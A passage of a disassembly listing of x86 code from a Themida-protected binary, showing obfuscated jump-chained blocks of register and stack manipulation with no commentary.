jmp loc_58B472
; ---------------------------------------------------------------------------
loc_594A29: ; CODE XREF: Themida_:00591E8Cj
mov edi, esp
add edi, 4
jmp loc_591A88
; ---------------------------------------------------------------------------
loc_594A36: ; CODE XREF: Themida_:0058E6B0j
xor si, 5667h
push si
neg word ptr [esp]
pop si
push di
mov di, 3B86h
jmp loc_58E911
; ---------------------------------------------------------------------------
loc_594A4E: ; CODE XREF: Themida_:005953BEj
pop ecx
xor ecx, 2EF65145h
xor ecx, 843893B9h
sub ebx, ecx
pop ecx
push edx
mov edx, 16754770h
add ebx, 4168DCh
add ebx, edx
sub ebx, 4168DCh
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
jmp loc_590D4A
; ---------------------------------------------------------------------------
loc_594A90: ; CODE XREF: Themida_:0058D7E9j
shl ebx, 3
jmp loc_58FB92
; ---------------------------------------------------------------------------
loc_594A98: ; CODE XREF: Themida_:005896F3j
mov edi, 68600071h
not edi
inc edi
and edi, 14DC117Eh
shl edi, 6
shr edi, 5
add edi, 5BE135A7h
sub eax, edi
mov edi, [esp]
add esp, 4
add eax, 2D942413h
jmp loc_58C464
; ---------------------------------------------------------------------------
loc_594AC7: ; CODE XREF: Themida_:0058EDA8j
shr dl, 5
jmp loc_589A04
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594ADF: ; CODE XREF: Themida_:0058E25Aj
mov edi, [esp]
jmp loc_593358
; ---------------------------------------------------------------------------
loc_594AE7: ; CODE XREF: Themida_:00594240j
pop edx
xor edx, 192A69C2h
add edx, 0C9433691h
jmp loc_58A4C4
; ---------------------------------------------------------------------------
loc_594AF9: ; CODE XREF: Themida_:005932D3j
sub cl, dl
pop edx
jmp loc_58CE1F
; ---------------------------------------------------------------------------
loc_594B01: ; CODE XREF: Themida_:0058E9B1j
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push ecx
mov ecx, 2
jmp loc_58E57B
; ---------------------------------------------------------------------------
loc_594B15: ; CODE XREF: Themida_:00591089j
add edi, 4
add edi, 2
xchg edi, [esp]
mov esp, [esp]
push 35DFh
mov [esp], ecx
jmp loc_59374D
; ---------------------------------------------------------------------------
loc_594B34: ; CODE XREF: Themida_:0058D69Dj
add ebx, esi
mov esi, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
add ecx, 2
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_58BE66
; ---------------------------------------------------------------------------
loc_594B57: ; CODE XREF: Themida_:0058F89Ej
push 7EAAh
mov [esp], esi
mov esi, 42D70E86h
mov dword ptr [edi+20h], 0A7052BD9h
sub [edi+20h], esi
mov esi, [esp]
add esp, 4
shl dword ptr [edi+20h], 6
shl dword ptr [edi+20h], 1
shr dword ptr [edi+20h], 8
jmp loc_59391D
; ---------------------------------------------------------------------------
loc_594B87: ; CODE XREF: Themida_:0058D6EFj
mov ecx, [edx]
mov edx, [esp]
add esp, 4
push 0F83h
jmp loc_58ADED
; ---------------------------------------------------------------------------
loc_594B99: ; CODE XREF: Themida_:005954E7j
mov eax, 186D60B9h
add eax, 1BA56F18h
or eax, 71CC76BCh
jmp loc_58AE48
; ---------------------------------------------------------------------------
loc_594BAD: ; CODE XREF: Themida_:00592E26j
push eax
mov eax, 32D735E6h
xor [esp+4], eax
pop eax
jmp loc_58DCD4
; ---------------------------------------------------------------------------
loc_594BBD: ; CODE XREF: Themida_:0059138Fj
pop ecx
push ebx
push edi
push 31940D93h
pop edi
mov ebx, 48DF216Fh
jmp loc_5939C0
; ---------------------------------------------------------------------------
loc_594BD0: ; CODE XREF: Themida_:0058D3E7j
pop edx
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov ax, [esp]
push ecx
push 6FC2h
mov [esp], esp
push ecx
jmp loc_58D8F9
; ---------------------------------------------------------------------------
loc_594BF1: ; CODE XREF: Themida_:00594264j
add edi, 4
push eax
mov eax, 4
add edi, 17B50077h
add edi, eax
sub edi, 17B50077h
mov eax, [esp]
add esp, 4
xchg edi, [esp]
pop esp
add bl, 7
add bl, al
jmp loc_58AACF
; ---------------------------------------------------------------------------
loc_594C22: ; CODE XREF: Themida_:0058B716j
xor edi, 6C9D1EB9h
sub ebx, edi
mov edi, [esp]
add esp, 4
movzx ax, byte ptr [eax]
push small 2347h
jmp loc_58C346
; ---------------------------------------------------------------------------
loc_594C40: ; CODE XREF: Themida_:0058A10Cj
pop ecx
pop dword ptr [esp]
mov esp, [esp]
push 2DD7h
jmp loc_59120E
; ---------------------------------------------------------------------------
loc_594C51: ; CODE XREF: Themida_:0058E2CCj
or bh, dh
jmp loc_58D53C
; ---------------------------------------------------------------------------
loc_594C58: ; CODE XREF: Themida_:005945B1j
mov edi, 7B6850B5h
xor edi, eax
mov eax, [esp]
add esp, 4
push eax
push ebx
mov ebx, 1
mov eax, ebx
jmp loc_59451A
; ---------------------------------------------------------------------------
loc_594C76: ; CODE XREF: Themida_:005899FFj
add edi, 4
jmp loc_589EC4
; ---------------------------------------------------------------------------
loc_594C7E: ; CODE XREF: Themida_:0058CB95j
push edx
mov dl, 73h
shr dl, 8
jmp loc_58B0A8
; ---------------------------------------------------------------------------
loc_594C89: ; CODE XREF: Themida_:0058A6A6j
mov ebx, 49BB51FBh
add ebx, 0D884E7CFh
push eax
jmp loc_58D5E8
; ---------------------------------------------------------------------------
loc_594C9A: ; CODE XREF: Themida_:0058B912j
add esp, 4
xor al, bl
pop ebx
xor bl, al
movzx eax, al
lea eax, [edi+eax*4]
push 44CAh
mov [esp], eax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594CB5: ; CODE XREF: Themida_:0058E840j
shr ebx, 4
xor ebx, 68FCBDACh
xor ecx, ebx
pop ebx
shr ecx, 5
add ecx, 0FF337D86h
push ecx
pop ebx
push dword ptr [esp]
jmp loc_58DDD6
; ---------------------------------------------------------------------------
loc_594CD4: ; CODE XREF: Themida_:0058CFBFj
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
sub al, cl
mov cx, [esp]
jmp loc_58BE3B
; ---------------------------------------------------------------------------
loc_594CE9: ; CODE XREF: Themida_:0058FCEDj
add esp, 4
sub esp, 4
jmp loc_59497A
; ---------------------------------------------------------------------------
loc_594CF7: ; CODE XREF: Themida_:0058FCC1j
push 76F7h
jmp loc_58C2D8
; ---------------------------------------------------------------------------
loc_594D01: ; CODE XREF: Themida_:00595B41j
mov ecx, ebp
pop ebp
sub ecx, edi
push edx
mov edx, ecx
mov edi, edx
jmp loc_591DA5
; ---------------------------------------------------------------------------
loc_594D10: ; CODE XREF: Themida_:0058E993j
inc esi
jmp loc_58E362
; ---------------------------------------------------------------------------
loc_594D16: ; CODE XREF: Themida_:00592C50j
mov edi, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_591AFD
; ---------------------------------------------------------------------------
loc_594D33: ; CODE XREF: Themida_:0058A982j
add edi, edx
pop edx
xchg edi, [esp]
jmp loc_592057
; ---------------------------------------------------------------------------
loc_594D3E: ; CODE XREF: Themida_:005929C7j
push ebp
mov ebp, 7FFD7A0Ah
xor eax, ebp
pop ebp
jmp loc_592446
; ---------------------------------------------------------------------------
loc_594D4C: ; CODE XREF: Themida_:00592E88j
mov [esp], ecx
sub esp, 4
mov [esp], esp
jmp loc_58F0C9
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_58EB43
; ---------------------------------------------------------------------------
loc_594D66: ; CODE XREF: Themida_:0058D454j
add esp, [edx+38h]
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], ebx
push 438A63A7h
mov ebx, [esp]
add esp, 4
sub ebx, 339C61FBh
push ebx
sub dword ptr [esp], 19D90DABh
pop ecx
jmp loc_5907BA
; ---------------------------------------------------------------------------
loc_594D97: ; CODE XREF: Themida_:0058B467j
xchg edx, [esp]
pop esp
push 1F49h
mov [esp], ecx
mov ecx, 2
add esi, ecx
mov ecx, [esp]
add esp, 4
xchg esi, [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594DBE: ; CODE XREF: Themida_:00592F70j
xchg edi, edx
neg edx
push ecx
mov ecx, 508377F0h
sub edx, 35CB5451h
add edx, ecx
jmp loc_58BF18
; ---------------------------------------------------------------------------
loc_594DD5: ; CODE XREF: Themida_:0058B373j
xor bh, 0DDh
sub al, 92h
add al, 1Ch
add al, bh
sub al, 1Ch
push ebx
push edx
mov dh, 42h
mov bh, 0AEh
sub bh, 39h
sub bh, dh
jmp loc_59155F
; ---------------------------------------------------------------------------
loc_594DF0: ; CODE XREF: Themida_:00593BB8j
mov ebp, [esp]
push edi
jmp loc_5915AE
; ---------------------------------------------------------------------------
loc_594DF9: ; CODE XREF: Themida_:00589EB7j
sub ebx, 98E37E3Bh
mov eax, ebx
jmp loc_58B6AC
; ---------------------------------------------------------------------------
loc_594E06: ; CODE XREF: Themida_:0058CBE5j
add ch, dh
add ch, 0FEh
jmp loc_58F9E2
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], eax
push esp
pop eax
push esi
push ebx
jmp loc_590343
; ---------------------------------------------------------------------------
loc_594E23: ; CODE XREF: Themida_:00590B7Cj
xor di, 0F8BFh
xor ax, di
jmp loc_593320
; ---------------------------------------------------------------------------
loc_594E30: ; CODE XREF: Themida_:00589C3Cj
or dh, 44h
sub dh, 0CDh
sub ah, dh
pop edx
jmp loc_593466
; ---------------------------------------------------------------------------
loc_594E3E: ; CODE XREF: Themida_:0058C9E2j
mov eax, 4
push ecx
mov ecx, 28135EFFh
sub edx, ecx
pop ecx
jmp loc_58D7BD
; ---------------------------------------------------------------------------
loc_594E51: ; CODE XREF: Themida_:00593AE9j
dec ah
push ebx
mov bl, 0A3h
sub ah, bl
pop ebx
jmp loc_58D845
; ---------------------------------------------------------------------------
loc_594E5E: ; CODE XREF: Themida_:00593235j
not ecx
jmp loc_589D08
; ---------------------------------------------------------------------------
loc_594E65: ; CODE XREF: Themida_:0058BD12j
sub al, 56h
add al, dl
add al, 56h
pop edx
add al, dh
sub al, 0DDh
pop edx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5919D9
; ---------------------------------------------------------------------------
loc_594E88: ; CODE XREF: Themida_:0058D3DFj
push small 7CB1h
mov [esp], cx
jmp loc_58BC06
; ---------------------------------------------------------------------------
loc_594E95: ; CODE XREF: Themida_:00590353j
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_5957C1
; ---------------------------------------------------------------------------
loc_594EA1: ; CODE XREF: Themida_:0058AB17j
xor edi, [esp]
jmp loc_58A963
; ---------------------------------------------------------------------------
loc_594EA9: ; CODE XREF: Themida_:0058C0ABj
push 1B77h
mov [esp], eax
mov eax, 2DB25360h
push eax
mov eax, 3E8F5D7Bh
push edx
jmp loc_58CAC7
; ---------------------------------------------------------------------------
loc_594EC2: ; CODE XREF: Themida_:005904C1j
pop esi
add edx, 6A935D60h
jmp loc_589462
; ---------------------------------------------------------------------------
loc_594ECE: ; CODE XREF: Themida_:0058F8FEj
push ecx
mov ecx, 3D805798h
or ecx, 11DC77ABh
add ecx, 0C2238849h
add esi, ecx
pop ecx
add esi, 4
xor esi, [esp]
jmp loc_58B052
; ---------------------------------------------------------------------------
loc_594EEE: ; CODE XREF: Themida_:0058A0D9j
sub esp, 4
mov [esp], edi
mov edi, 1EAD136Eh
sub eax, 23B6566Ch
jmp loc_58C9AF
; ---------------------------------------------------------------------------
loc_594F06: ; CODE XREF: Themida_:0058C511j
shl dh, 2
sub dh, 0B8h
add dh, 9
push dx
not byte ptr [esp+1]
pop dx
and dh, 0DDh
sub dh, 0CDh
push ecx
jmp loc_58AD18
; ---------------------------------------------------------------------------
loc_594F23: ; CODE XREF: Themida_:0058B771j
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push ebp
jmp loc_59198B
; ---------------------------------------------------------------------------
loc_594F37: ; CODE XREF: Themida_:0058E8F9j
shr ebx, 6
jmp loc_593ACE
; ---------------------------------------------------------------------------
loc_594F3F: ; CODE XREF: Themida_:0058C65Cj
pop edi
push eax
mov eax, 4
sub ebx, 50BA74A7h
add ebx, eax
add ebx, 50BA74A7h
jmp loc_58A088
; ---------------------------------------------------------------------------
loc_594F59: ; CODE XREF: Themida_:0058F0A6j
push eax
push ebx
mov bh, 48h
and bh, 0CDh
inc bh
not bh
or bh, 2Ah
and bh, 0E7h
push eax
mov al, 0FDh
dec al
and al, 15h
neg al
jmp loc_58ED74
; ---------------------------------------------------------------------------
loc_594F78: ; CODE XREF: Themida_:0058DF85j
xor eax, ecx
sub esp, 4
mov [esp], eax
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
push 3546h
mov [esp], ebx
jmp loc_593EAF
; ---------------------------------------------------------------------------
loc_594F96: ; CODE XREF: Themida_:0058BB66j
mov ebx, esp
jmp loc_58AC64
; ---------------------------------------------------------------------------
loc_594F9D: ; CODE XREF: Themida_:0058AE58j
pop edi
add eax, 0F32A460Dh
sub ebp, eax
pop eax
jmp loc_58BA96
; ---------------------------------------------------------------------------
loc_594FAB: ; CODE XREF: Themida_:0058AD75j
pop ebp
push dword ptr [edi+1Ch]
jmp loc_58D23E
; ---------------------------------------------------------------------------
loc_594FB4: ; CODE XREF: Themida_:0058BCC2j
dec ebx
add ebx, 0FFFFFFFFh
push 5D7h
mov [esp], eax
mov eax, 1BB3BB14h
jmp loc_591344
; ---------------------------------------------------------------------------
loc_594FCA: ; CODE XREF: Themida_:005930DFj
add ecx, edx
sub esp, 4
mov [esp], edx
jmp loc_590CC7
; ---------------------------------------------------------------------------
loc_594FD7: ; CODE XREF: Themida_:0059053Fj
sub ebx, 3ED44C3Dh
sub ebx, ebp
add ebx, 3ED44C3Dh
pop ebp
jmp loc_58FA8E
; ---------------------------------------------------------------------------
loc_594FEB: ; CODE XREF: Themida_:0058E54Aj
pop edi
xchg eax, [esp]
pop esp
jmp loc_5930D8
; ---------------------------------------------------------------------------
loc_594FF5: ; CODE XREF: Themida_:005947C2j
not eax
xor eax, 0ADD5B6C8h
xor ebp, eax
pop eax
sub ebp, 77506BD4h
jmp loc_58B9A8
; ---------------------------------------------------------------------------
loc_59500A: ; CODE XREF: Themida_:0058B743j
xor edx, [esp]
pop esp
push esi
push 52FFh
mov [esp], edi
push ebp
mov ebp, 471A5B8Ch
mov edi, ebp
pop ebp
push 2559h
mov [esp], eax
mov eax, 7023287Ah
not eax
shr eax, 2
add eax, 94EE6EA3h
add edi, eax
mov eax, [esp]
jmp loc_58FBCE
; ---------------------------------------------------------------------------
loc_595041: ; CODE XREF: Themida_:0058BA59j
mov eax, [esp]
add esp, 4
jmp loc_58E14F
; ---------------------------------------------------------------------------
loc_59504C: ; CODE XREF: Themida_:00590786j
pop esi
and edi, edx
pop edx
sub edi, 1C11800h
jmp loc_58B0D6
; ---------------------------------------------------------------------------
loc_59505B: ; CODE XREF: Themida_:0058CA74j
mov edx, edi
pop edi
jmp loc_590B56
; ---------------------------------------------------------------------------
loc_595063: ; CODE XREF: Themida_:0058CD8Bj
sub ebx, 85FBA763h
jmp loc_58E25F
; ---------------------------------------------------------------------------
loc_59506E: ; CODE XREF: Themida_:005925DDj
xor cl, 14h
add dh, cl
pop ecx
add bl, 1Fh
sub bl, dh
sub bl, 1Fh
pop edx
jmp loc_589A9A
; ---------------------------------------------------------------------------
loc_595082: ; CODE XREF: Themida_:00595215j
pop esp
xor [esp], eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59508C: ; CODE XREF: Themida_:0058B5F7j
mov esi, ebp
pop ebp
add edi, 6B87018Fh
add edi, esi
sub edi, 6B87018Fh
pop esi
jmp loc_58BFA9
; ---------------------------------------------------------------------------
loc_5950A3: ; CODE XREF: Themida_:00594218j
add ebx, 4
jmp loc_592613
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_58D676
push edx
push 2B00h
mov [esp], ebx
jmp loc_590AEF
; ---------------------------------------------------------------------------
loc_5950C7: ; CODE XREF: Themida_:0058E1F6j
mov ecx, edx
mov ebp, ecx
pop ecx
jmp loc_593571
; ---------------------------------------------------------------------------
loc_5950D1: ; CODE XREF: Themida_:0058E1EAj
mov ebp, [esp]
push esi
push esp
pop esi
jmp loc_589570
; ---------------------------------------------------------------------------
loc_5950DC: ; CODE XREF: Themida_:0058F56Dj
mov edx, 0
add edx, ebx
mov [edx], ecx
pop edx
mov ebx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_595103: ; CODE XREF: Themida_:0058BB83j
push 2BACh
mov [esp], edi
mov edi, 6DE81924h
inc edi
not edi
jmp loc_58F53E
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 51582434h, 4C8268h, 0DCBBE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_59512A: ; CODE XREF: Themida_:0058FF2Cj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59513B: ; CODE XREF: Themida_:005904FAj
pop ebx
mov edx, [esp]
add esp, 4
jmp loc_58B089
; ---------------------------------------------------------------------------
loc_59514A: ; CODE XREF: Themida_:0058CCE6j
pop edx
jmp loc_58C7FF
; ---------------------------------------------------------------------------
loc_595150: ; CODE XREF: Themida_:00591595j
add ecx, ebx
add ecx, 112A4C54h
jmp loc_58A173
; ---------------------------------------------------------------------------
loc_59515D: ; CODE XREF: Themida_:00591B67j
or ebx, 5DA63542h
shl ebx, 4
add ebx, 490011Fh
add edi, ebx
pop ebx
xor edi, 38574DEBh
and eax, edi
pop edi
jmp loc_58A4CA
; ---------------------------------------------------------------------------
loc_59517D: ; CODE XREF: Themida_:0058D2E8j
push ebp
jmp loc_591102
; ---------------------------------------------------------------------------
loc_595183: ; CODE XREF: Themida_:00589EBFj
shr edx, 8
sub edx, 24000Eh
add edi, edx
pop edx
push ebp
jmp loc_593ED9
; ---------------------------------------------------------------------------
loc_595195: ; CODE XREF: Themida_:0058ED00j
add edx, ebp
jmp loc_593BFB
; ---------------------------------------------------------------------------
loc_59519C: ; CODE XREF: Themida_:0058B10Fj
add edi, 4
push ecx
mov ecx, 2
add edi, 71074E53h
add edi, ecx
push 5F1Eh
jmp loc_594017
; ---------------------------------------------------------------------------
loc_5951BA: ; CODE XREF: Themida_:0058FCDEj
add esi, 4
jmp loc_5941A4
; ---------------------------------------------------------------------------
loc_5951C5: ; CODE XREF: Themida_:005894D7j
add esp, 4
jmp loc_5955A2
; ---------------------------------------------------------------------------
loc_5951CD: ; CODE XREF: Themida_:0058D51Dj
xor ebx, edx
pop edx
xor eax, ebx
pop ebx
xor ebx, eax
push small word ptr [eax]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5951DD: ; CODE XREF: Themida_:00594400j
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
add ebx, 4
xchg ebx, [esp]
jmp loc_590335
; ---------------------------------------------------------------------------
loc_5951F3: ; CODE XREF: Themida_:0058EA55j
add ebp, 339181Eh
add ebp, 712D6B25h
pop ebx
add ebp, 4
push ebp
jmp loc_58B01C
; ---------------------------------------------------------------------------
loc_59520C: ; CODE XREF: Themida_:0058B3FEj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_595082
; ---------------------------------------------------------------------------
loc_59521A: ; CODE XREF: Themida_:005900A4j
pop bx
mov cl, dl
jmp loc_58BE89
; ---------------------------------------------------------------------------
loc_595223: ; CODE XREF: Themida_:00589DF8j
add esp, 4
push ebp
mov ebp, 1B639BBh
sub [esp+4], ebp
pop ebp
add [esp], eax
add dword ptr [esp], 1B639BBh
sub dword ptr [esp], 3C237137h
jmp loc_58FDB6
; ---------------------------------------------------------------------------
loc_595247: ; CODE XREF: Themida_:0058960Ej
mov eax, 1ABF22B3h
push ebx
mov ebx, 0CCB04B9h
sub eax, ebx
pop ebx
xor esi, eax
jmp loc_59051C
; ---------------------------------------------------------------------------
loc_59525C: ; CODE XREF: Themida_:0059202Dj
push edx
mov edx, 4
add ecx, 4BC52F0Eh
add ecx, edx
sub ecx, 4BC52F0Eh
mov edx, [esp]
jmp loc_5945B6
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
jmp loc_592170
; ---------------------------------------------------------------------------
loc_595282: ; CODE XREF: Themida_:0058B91Cj
mov ecx, esp
add ecx, 4
push ebp
push edi
mov edi, 3BE46839h
jmp loc_58BDA6
; ---------------------------------------------------------------------------
loc_595296: ; CODE XREF: Themida_:00590951j
sub ecx, edx
pop edx
push edi
mov edi, 723941ABh
add ecx, edi
jmp loc_58F1D5
; ---------------------------------------------------------------------------
loc_5952A6: ; CODE XREF: Themida_:0058AE38j
mov ax, [esp]
push 1302h
mov [esp], edx
push 7DC0h
mov [esp], esp
add dword ptr [esp], 4
pop edx
add edx, 4
push ecx
mov ecx, 4CC90827h
push edx
push ebp
mov ebp, 377127BBh
mov edx, ebp
pop ebp
xor edx, 70586BCAh
sub ecx, edx
pop edx
or ecx, 1F425B9Ch
push edi
mov edi, 17497094h
or edi, 225742BAh
not edi
shr edi, 6
jmp loc_589481
; ---------------------------------------------------------------------------
loc_5952FA: ; CODE XREF: Themida_:00591BF2j
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
pop dword ptr [esp]
jmp loc_58F5B2
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
pop esi
push edx
push ebp
mov ebp, 50092AB2h
jmp loc_593B3B
; ---------------------------------------------------------------------------
loc_595330: ; CODE XREF: Themida_:0058DE7Ej
push 395h
jmp loc_58A162
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_59019C
; ---------------------------------------------------------------------------
loc_59534E: ; CODE XREF: Themida_:0058BDD0j
push edi
mov edi, 0C8C9E346h
push edi
mov ecx, [esp]
add esp, 4
pop edi
sub ecx, 2F5D2450h
jmp loc_58BA3D
; ---------------------------------------------------------------------------
loc_595367: ; CODE XREF: Themida_:0058D29Aj
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_595373: ; CODE XREF: Themida_:00590F04j
sub al, 53h
add al, bl
jmp loc_58F345
; ---------------------------------------------------------------------------
loc_59537C: ; CODE XREF: Themida_:00593CA2j
sub ebx, 59F5702Bh
xor ebx, 150D6B1Eh
push ebx
push 5301h
mov [esp], edi
mov edi, 84E5705h
mov ebx, edi
pop edi
add edx, ebx
mov ebx, [esp]
add esp, 4
add edx, ebx
jmp loc_58B61D
; ---------------------------------------------------------------------------
loc_5953A8: ; CODE XREF: Themida_:00593453j
sub ebp, 2A1DDCECh
mov eax, ebp
pop ebp
jmp loc_58BCE2
; ---------------------------------------------------------------------------
loc_5953B6: ; CODE XREF: Themida_:0058E6D0j
xchg edi, [esp]
not edi
xchg edi, [esp]
jmp loc_594A4E
; ---------------------------------------------------------------------------
loc_5953C3: ; CODE XREF: Themida_:0059206Aj
xor edi, esi
jmp loc_590EB0
; ---------------------------------------------------------------------------
loc_5953CA: ; CODE XREF: Themida_:0058E14Aj
mov [esp], ebx
jmp loc_58B5DE
; ---------------------------------------------------------------------------
loc_5953D2: ; CODE XREF: Themida_:00590A2Fj
mov ebp, 61F939ACh
and ebp, 53B5276Ah
xor ebp, 3A026411h
dec ebp
sub ebp, 6C4373D8h
not ebp
push ecx
jmp loc_58A73B
; ---------------------------------------------------------------------------
loc_5953F2: ; CODE XREF: Themida_:005919B6j
add esp, 4
push edx
mov edx, ecx
mov esi, edx
mov edx, [esp]
add esp, 4
pop ecx
mov eax, esi
pop esi
jmp loc_58BB73
; ---------------------------------------------------------------------------
loc_59540C: ; CODE XREF: Themida_:00595695j
or esi, 40F16B3Eh
and esi, 47697277h
shl esi, 4
neg esi
shl esi, 2
sub esi, 0BC8E19C6h
sub ebx, esi
jmp loc_591BA0
; ---------------------------------------------------------------------------
loc_59542D: ; CODE XREF: Themida_:0058DBF8j
push edx
push dword ptr [esp+4]
mov edx, [esp]
jmp loc_58DDCE
; ---------------------------------------------------------------------------
loc_59543A: ; CODE XREF: Themida_:005949F4j
pop edx
sub ecx, 45195F11h
add ecx, 6F225898h
jmp loc_5929CC
; ---------------------------------------------------------------------------
loc_59544C: ; CODE XREF: Themida_:0058A65Dj
push 6540h
mov [esp], eax
jmp loc_58EDE4
; ---------------------------------------------------------------------------
loc_595459: ; CODE XREF: Themida_:00592C9Cj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59546C: ; CODE XREF: Themida_:0058A6D9j
sub ebx, edi
jmp loc_58AD7A
; ---------------------------------------------------------------------------
loc_595473: ; CODE XREF: Themida_:005932BEj
mov ebx, 4EA22CDBh
xor edi, ebx
pop ebx
shr edi, 1
xor edi, 68A93DDEh
jmp loc_58C281
; ---------------------------------------------------------------------------
loc_595488: ; CODE XREF: Themida_:0058B495j
pop esi
jmp loc_58E215
; ---------------------------------------------------------------------------
loc_59548E: ; CODE XREF: Themida_:00592B41j
xchg ecx, [esp]
mov esp, [esp]
pop dword ptr [esp]
pop esp
or edx, eax
shl edx, 1
push esi
push edi
push 4C3E1823h
jmp loc_58F292
; ---------------------------------------------------------------------------
loc_5954A8: ; CODE XREF: Themida_:005902EAj
mov edi, esp
push 6822h
mov [esp], ecx
mov ecx, 4
sub edi, 4E7C4B2Bh
add edi, ecx
jmp loc_59584E
; ---------------------------------------------------------------------------
loc_5954C4: ; CODE XREF: Themida_:00591430j
pop ebp
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5954DD: ; CODE XREF: Themida_:00592BCFj
xor edi, 6F4377FAh
mov eax, edi
pop edi
push eax
jmp loc_594B99
; ---------------------------------------------------------------------------
loc_5954EC: ; CODE XREF: Themida_:0058A535j
shl esi, 5
add esi, 0FE97BBA4h
add ebx, esi
mov esi, [esp]
jmp loc_58BB07
; ---------------------------------------------------------------------------
loc_5954FF: ; CODE XREF: Themida_:00593E2Aj
push ebp
push esp
pop ebp
push esi
mov esi, 73521E2Fh
shr esi, 8
jmp loc_58FA2C
; ---------------------------------------------------------------------------
loc_595510: ; CODE XREF: Themida_:0058BDFCj
pop ebp
push esi
add dword ptr [esp], 426C6B4Fh
mov edi, [esp]
add esp, 4
sub edi, 426C6B4Fh
pop esi
xor [esp+4], edi
pop edi
jmp loc_58D2FC
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
jmp loc_58B187
; ---------------------------------------------------------------------------
loc_59553F: ; CODE XREF: Themida_:005944D2j
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
jmp loc_59016E
; ---------------------------------------------------------------------------
loc_59554B: ; CODE XREF: Themida_:0058C719j
pop edx
jmp loc_593802
; ---------------------------------------------------------------------------
loc_595551: ; CODE XREF: Themida_:0058AD58j
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
push edi
mov edi, 2
add ebp, edi
push dword ptr [esp]
pop edi
push eax
mov eax, esp
add eax, 4
jmp loc_592F22
; ---------------------------------------------------------------------------
loc_595580: ; CODE XREF: Themida_:0058BDE7j
pop ebp
pop edi
push ebp
mov ebp, esp
add ebp, 4
push edi
mov edi, 2D33358h
jmp loc_590C46
; ---------------------------------------------------------------------------
loc_595596: ; CODE XREF: Themida_:0059338Fj
inc esi
sub esi, 250D4964h
jmp loc_591065
; ---------------------------------------------------------------------------
loc_5955A2: ; CODE XREF: Themida_:005951C8j
shr cx, 3
push small 0F7Fh
jmp loc_589A1D
; ---------------------------------------------------------------------------
loc_5955AF: ; CODE XREF: Themida_:0058C2E9j
push esp
pop edx
add edx, 4
jmp loc_593D34
; ---------------------------------------------------------------------------
loc_5955BC: ; CODE XREF: Themida_:00591A2Dj
mov [esp], dx
mov dh, 0Fh
jmp loc_593FCF
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push edi
jmp loc_593102
; ---------------------------------------------------------------------------
loc_5955D0: ; CODE XREF: Themida_:005928E2j
pop edi
xor esi, 0EB567C42h
add edx, 8241DBAh
sub edx, esi
sub edx, 8241DBAh
pop esi
jmp loc_58B2F7
; ---------------------------------------------------------------------------
loc_5955EB: ; CODE XREF: Themida_:00589681j
sub edx, eax
sub edx, 6BF57ABCh
mov eax, [esp]
add esp, 4
add esi, edx
mov edx, [esp]
jmp loc_58D52A
; ---------------------------------------------------------------------------
loc_595606: ; CODE XREF: Themida_:0058D4E2j
sub [esp+4], eax
mov eax, [esp]
add esp, 4
add dword ptr [esp], 3DE21984h
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59561C: ; CODE XREF: Themida_:0058C87Cj
push esp
mov esi, [esp]
jmp loc_58DBA9
; ---------------------------------------------------------------------------
loc_595625: ; CODE XREF: Themida_:00593A2Dj
imul cl
movzx cx, ah
push edi
mov edi, esp
push 1E54h
mov [esp], ebx
mov ebx, 4
add edi, 15CD477Dh
add edi, 5A8501F3h
sub edi, 68187643h
add edi, ebx
jmp loc_58AE5D
; ---------------------------------------------------------------------------
loc_595654: ; CODE XREF: Themida_:00590ED8j
mov edx, 6B621515h
